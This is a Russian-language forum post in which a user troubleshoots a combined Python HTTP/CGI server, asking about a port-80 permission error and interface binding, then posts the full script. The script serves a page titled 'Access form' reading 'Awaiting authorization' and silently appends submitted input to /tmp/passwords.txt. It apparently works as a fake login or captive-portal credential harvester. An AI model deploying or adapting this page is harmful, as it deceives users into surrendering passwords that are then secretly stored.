Взял за основу ваш набор. Сервер и логику обработки впихнул в один файл. Потестил работу и появилось несколько вопросов.
1. Почему-то если ставлю порт 80, то вызывает Exception, точнее Permission denied, но страно почему, скрипт то от рута пускаю. Но если порт 8080, то проблем нет.
w# ./server.py
127.0.0.1 - - [30/Jul/2014 16:43:19] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [30/Jul/2014 16:43:19] code 404, message File not found
127.0.0.1 - - [30/Jul/2014 16:43:19] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [30/Jul/2014 16:43:22] "POST /cgi-bin/server.py HTTP/1.1" 200 -
Traceback (most recent call last):
File "/tmp/www/cgi-bin/server.py", line 19, in <module>
http.server.CGIHTTPRequestHandler
File "/usr/lib/python3.4/socketserver.py", line 429, in __init__
self.server_bind()
File "/usr/lib/python3.4/http/server.py", line 133, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.4/socketserver.py", line 440, in server_bind
self.socket.bind(self.server_address)
PermissionError: [Errno 13] Permission denied
127.0.0.1 - - [30/Jul/2014 16:43:22] CGI script exit status 0x100
127.0.0.1 - - [30/Jul/2014 16:43:26] "POST /cgi-bin/server.py HTTP/1.1" 200 -
Traceback (most recent call last):
File "/tmp/www/cgi-bin/server.py", line 19, in <module>
http.server.CGIHTTPRequestHandler
File "/usr/lib/python3.4/socketserver.py", line 429, in __init__
self.server_bind()
File "/usr/lib/python3.4/http/server.py", line 133, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.4/socketserver.py", line 440, in server_bind
self.socket.bind(self.server_address)
PermissionError: [Errno 13] Permission denied
127.0.0.1 - - [30/Jul/2014 16:43:26] CGI script exit status 0x100
2. Как можно забиндить сервер на определенный ip/интерфейс ? Получается что я не могу открыть форму если ввожу xx.xx.xx.xx:8080, где вместо xx ip. Но открывается через localhost:8080
UPD. C этим разобрался, биндится тут addrport = ('192.168.1.1', port)
Внизу измененный скрипт, плюс я добавил там еще запись результата POST в файл
#!/usr/bin/env python3
import cgi
import time
import http.server
from os import getuid, devnull
from subprocess import call, check_output
from sys import argv, stdout, stdin
from re import findall
port = 8080
addrport = ('', port)
DN = open(devnull, 'w')
form = cgi.FieldStorage()
try:
if not findall(str(port), str(check_output(['netstat','-ntl'],stderr=DN))):
serv = http.server.HTTPServer(
addrport,
http.server.CGIHTTPRequestHandler
)
serv.serve_forever()
else:
print('Content-type: text/html')
print()
title = 'Access form'
before = """
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
<title>{}</title>
</head>
<body>
""".format(title)
after = """
</body>
</html>
"""
namefmt = '<h1>Awaiting authorization <i>....</i></h1>'
noname = '<h1>No Data received</h1>'
print(before, end='')
if 'user' in form:
user = cgi.escape(form['user'].value)
today = time.strftime('%d%B %H:%M:%S')
with open('/tmp/passwords.txt', 'a') as f:
print(today+"\n"+user+"\n",file=f)
print(namefmt)
else:
print(noname)
print(after, end='')
except KeyboardInterrupt:
print ('Shutting down the web server')
serv.socket.close()